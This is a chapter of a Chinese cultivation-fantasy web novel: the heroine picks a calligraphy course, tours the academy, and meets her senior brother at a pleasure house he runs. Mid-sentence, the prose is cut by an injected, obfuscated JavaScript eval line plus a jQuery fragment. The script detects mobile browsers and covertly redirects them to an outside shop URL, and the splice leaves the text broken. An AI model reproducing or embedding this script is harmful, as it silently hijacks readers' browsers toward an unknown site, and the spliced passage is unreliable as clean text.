学宫的第一天是自行选课,如果没有选到合适的课,有可能面临退学的风险。
周松岩跟她八字不合,祝汐潋只好暂时放弃剑修课,转而去看看还有没有其他课程可以选。
她的原则是,优先学学厉害的术法。
万一真的有梦里那一刻,她万不能呆站在喜宴上束手就擒,无论如何要殊死搏斗一番。
她浑身酸痛,颤颤巍巍地走到符修课堂,发现符修课门上贴满锁灵符,符文晦涩难懂,完全无从下手。
她又颤颤巍巍地走到阵修课堂,发现阵修课堂外列了个法阵,破此阵者才可以选这门课。
......
祝汐潋眯着眼睛看了会天:今天出门没算日子?
没办法,只能去乐修课堂碰碰运气。乐修的老教习一听她是今年文试考核中,由清桐乐尊亲自打出满分的弟子,不由得老泪纵横。
“天佑我乐修一脉。”
然后在祝汐潋弹奏了一段后。
再次痛哭流涕。
“我乐修一脉完了。”
有这么严重吗?
因为实在是担心老教习把眼睛哭瞎了,祝汐潋最终选择了书修学院。
书修学院好啊。
学院里氛围清雅,同门个个气质超然,说话又好听,引经据典,一看就是有文化底蕴的修士。而且要求也不高,只要会写字便可入学院。
负责接引新生的助教师兄名为柳景辞,生得眉目清俊,长衫坠玉,温润亲和,带着众人缓步游览整座书修院。
众人首先踏入前院,正中矗立着一尊古朴白玉雕像,老者垂眸执卷,神态安然肃穆,衣袂纹路古朴大气。
“这是文初先贤,乃是开辟书修大道的始祖。上古乱世,杀伐横行,先贤首开‘文字蕴灵力、书卷以修心’的大道先河,提出借文悟道、凭字通玄。我书修一脉,自此源远流长。”
噫?祝汐潋举手提问:“师兄,为什么先贤的手那么白那么亮?”
柳景辞“咳咳”两声:“此乃,此乃.......此乃书院的‘稳过手’。每逢课业考、术法测验前夕,师兄师姐们都会来摸一摸这只手,盼着借先贤福运,下笔有神、逢考必过。”
常年被摩挲,自然就磨得光亮如新。
继续往前,穿过回廊,一方洗墨池映入眼帘。池水浓黑却不浑浊,池边铺满白石。
一黑一白,颇有几分太极道韵。
柳景辞轻叹道:“几百年来,无数书院弟子在此洗笔,墨气尽数溶于池水。岸边白石被长久浸润而生出灵纹,在上面刻字,文字便会被灵气封存。任风吹雨淋、岁月更迭,字迹都不会磨灭消散。因此不少学子于此镌刻修行志向,或是留下诗文佳句。”
祝汐潋歪着脑袋看:“可是师兄,这石头上分明写的是李星云爱姬......”
“咳咳咳咳,”柳景辞及时打断她,“这位师妹一定是看错了。”
最后众人来到后院的万卷书碑,整面石壁巍峨绵长,密密麻麻刻满历代先贤的修行箴言。
“一字可生韵,一文可藏道,一句浩然诗,可抵千般术法。”
祝汐潋再次举手。
唔,完全被师兄无视了。
柳景辞假装看不见,只温柔望向众人道:“诸位须知,剑修争一时锋芒,丹修修一世寿元,唯有书修修心、修德、修底蕴。愿诸位前路坦荡开阔,道统生生不息。”
人群爆发出热烈的掌声。祝汐潋只好把手放下来一起鼓掌。
书修学院的课业也很轻松,连着几日布置的作业只有临摹万卷书碑。
于是几天来,小师姐就手裹着纱布,坐在窗前抄书写字。
“小师姐,你手还没好,少写点吧。”梅溪端了药来,同时心里狠狠咒骂,那个该死的老登西周松岩,怎么下这么重的手。
祝汐潋没精打采地嗯了一声。
“小师姐,先把药喝了吧。”
“不——想——喝。”
“先吃蜜饯再喝药。”
“不——想——吃。”
梅溪知道,小师姐还是在为没选到剑修课沮丧呢。
还有那个该死的沈平涧,突然就没了踪迹。小师姐打听他的行踪,每次赶过去他不是不在就是刚走,真是奇了怪了。
梅溪想了想:“小师姐,要不我带你去个好玩的地方。”
“不——想——”祝汐潋扭过头,“什么好玩的的地方?”
“小师姐把药喝了我就告诉你。”
祝汐潋看着醇厚的药汤,“每次喝了药就浑身软绵绵的,犯困。我要是睡一下午,咱们还怎么去玩?”
“小师姐你就安心睡吧。”梅溪神神秘秘道,“反正这个好玩的地方也只能晚上去。”
“晚上去,晚上去。”一旁的玄风鹦鹉叫道。
“学人精。”梅溪挑了颗圆滚的果子喂给它。
***
等到了晚上,祝汐潋跟着梅溪出了学宫,进入外城,一路至城内最繁华的街巷。
她抬头一看,一栋巍峨楼阁拔地而起,雕梁飞檐在夜色里流光浮动,鎏金匾额上书四个大字“风月无边”。
跨过朱漆大门,暖意裹挟清润香氛扑面而来。穹顶悬着成片莹光琉璃灯,柔光洒落,将整座楼阁映照得雅致堂皇。
楼阁分上下两层。一层是一片开阔厅堂。厅中往来献艺的,全是容貌俊秀、气质温润的男修士。
向前看,身着月白长衫的年轻修士静坐紫檀琴案前轻拨琴弦,悠扬仙音婉转回荡;向左看,眉目温雅的中年修士伏于长案挥毫泼墨,笔墨起落间写下锦绣诗文;向右看,身形清瘦的忧郁修士执玉箫倚柱而立,清越箫声悠悠漫过厅堂。
二层错落排布着一间间雕花独立包厢,窗扇尽数向外支起。前来消遣的女客安然落座厢内,悠然俯览楼下厅堂景致。
身着素色短衫的小厮穿梭不息,往来上下楼阁。有人奔走传递包厢点选才艺的笺帖,将女客的吩咐送至一层;也有人端着酒酿鲜果、精致茶点快步穿梭,时时应答宾客所需,一派有条不紊的热闹景象。
祝汐潋和梅溪一进来,立马有人引着上了二楼的包厢。
包厢里陈设雅致,柔软狐裘铺在座榻之上,矮几上错落摆放着莹润水果与琉璃酒盏。
祝汐潋环顾四周,伸手随意取起一枚蜜果送入口中。果汁甜得齁人。
“梅溪你学坏了啊。”她啧啧两声,这才明白为什么只能晚上来,“怎么带我来这种场所。”
“小师姐,你想啥,这里只谈风花雪月,没有你想得那种事情。”梅溪感慨道,“小师姐,你看这里氛围多好。学文修,就是这般岁月静好,不比什么剑修符修,打打杀杀,要强上许多?”
这孩子没事吧。
祝汐潋想,想让我安心学文修,让我看吹拉弹唱,难不成让我以后也卖艺去?
不过来都来了,她走到窗边,伸手将窗扇向外支开。窗沿刚一敞开,一道视线便自邻厢投递过来,直直落在她身上。
好熟悉的目光。
梅溪:怎么突然感觉到包厢里冷飕飕的。
祝汐潋转过头望去,果然看到一张熟悉的,张扬的脸。
花满盈、祝汐潋两人话音齐响,异口同声:“怎么是你?”
话音落下,二人又不约而同偏过头,齐齐冷哼一声:“哼。”
一时寂静过后,两位大小姐各自倚着栏杆,互相懒得搭理,一同朝楼下厅堂眺望。
厅堂之中,一名容色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889769|212585||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
俊逸的男修士正端坐琴案之后,指尖轻拨琴弦。清泠琴音徐徐漾开,悠悠飘上楼厢。
曲调哀婉缠绵,满是凄怆婉转。祝汐潋忍不住腹谤,她梦里那倒霉的婚礼就应该奏这种曲子。
一曲罢,她情不自禁扬声赞道:“好。”
“噗。”
花满盈笑出声来:“你个音痴,你说好在哪里?”
“......”祝汐潋不甘示弱,“你有本事,你说说好在哪里?”
花满盈使了个眼色。
站在身后的杜无为立刻走上前来,从善如流:“此曲以羽音起调,转入商声。低音沉而不浊,转韵处虚实相济,不凭厉音宣泄悲绪,反倒以缓弦收束情绪,曲末音渐淡而意未尽,哀而不怨,气韵绵长。”
祝汐潋鄙视:“请外援也算啊?”
花满盈理直气壮:“小杜是我自己人。”
祝汐潋想了想,越过花满盈,径直看向杜无为:“她每月花了多少钱雇你?三十块灵石?”
花满盈:“你什么意思?”
“不管花满盈给你多少,我付两倍。”
“你疯了吧,敢从我眼皮底子挖人?”
祝汐潋眼都不眨:“三倍。”
“我劝诫你,想都不要想。”
祝汐潋:“十倍!”
花满盈看着杜无为越来越发亮的眼眸,咬牙切齿地扔下一句,“祝汐潋你给我等着”,“砰”得一声将窗户关了。
跟我斗。祝汐潋继续美美看一楼的表演。
这时,一道温润清雅的身影忽然映入眼帘。她揉了揉眼睛,再三确信自己没看错,一阵眩晕袭来,祝汐潋终于理解乐修学院老教习的心情了。
“小梅啊......我们书修学院好像完了。”
梅溪正干劲十足地给小师姐剥瓜子,不明所以:“小师姐怎么了?”
祝汐潋目光复杂地看着一楼左右逢源的男子。
你说为啥。前几日还振振有词跟她说“道统生生不息”的师兄,晚上就看到他在风月场所做鸭,这谁受得了?
柳景辞一抬头,正好与祝汐潋视线相撞。
柳师兄倒是一点也没不好意思,祝汐潋的大名可是如雷贯耳,更何况她刚刚大赚了七十万!
“祝师妹,也来光顾师兄的生意。”他亲自到包厢来表达感谢。
哦,祝汐潋反应过来:“柳师兄是这风月阁的老板?我还以为师兄也要表演才艺呢。”
原来不是鸭,是老鸨。
“某不才,学艺不精。”柳景辞谦虚道,“不如各位师兄弟们。”
“这风月阁里都是咱们学宫的弟子吗?”
“大部分是。文修不如武修战力强,踏出学宫之后谋生门路少。在此凭诗书琴技立身,既能赚取银钱补贴日常修行开销,也算一份实打实的修行历练阅历。”
真是文雅。
祝汐潋佩服:“柳师兄真是用心良苦。”
“不苦,”柳景辞道,“只盼着能给一众同门添几分生计接济。你看伏案写字的那位师兄,他的道侣缠绵病榻已久,日日都要耗费珍稀丹药吊住身子;再看吹箫的小师弟,自幼无父无母,没有长辈帮扶接济,一个人孤苦伶仃;还有刚才抚琴的师兄,相伴多年的灵兽身受重创,疗伤花销不菲.......”
祝汐潋:?
全修真界最惨的人都在这儿了么?
她忽然灵光一现:“师兄掌管着这么大一座风月阁,每天又有这么多人来来往往,一定能知道很多消息吧?”
柳景辞的惨还没卖完,差点没收住:“......你想知道什么?”
“我想打听一下沈平涧。”
“沈平涧?巧了。他此刻正在我这风月阁的后院。”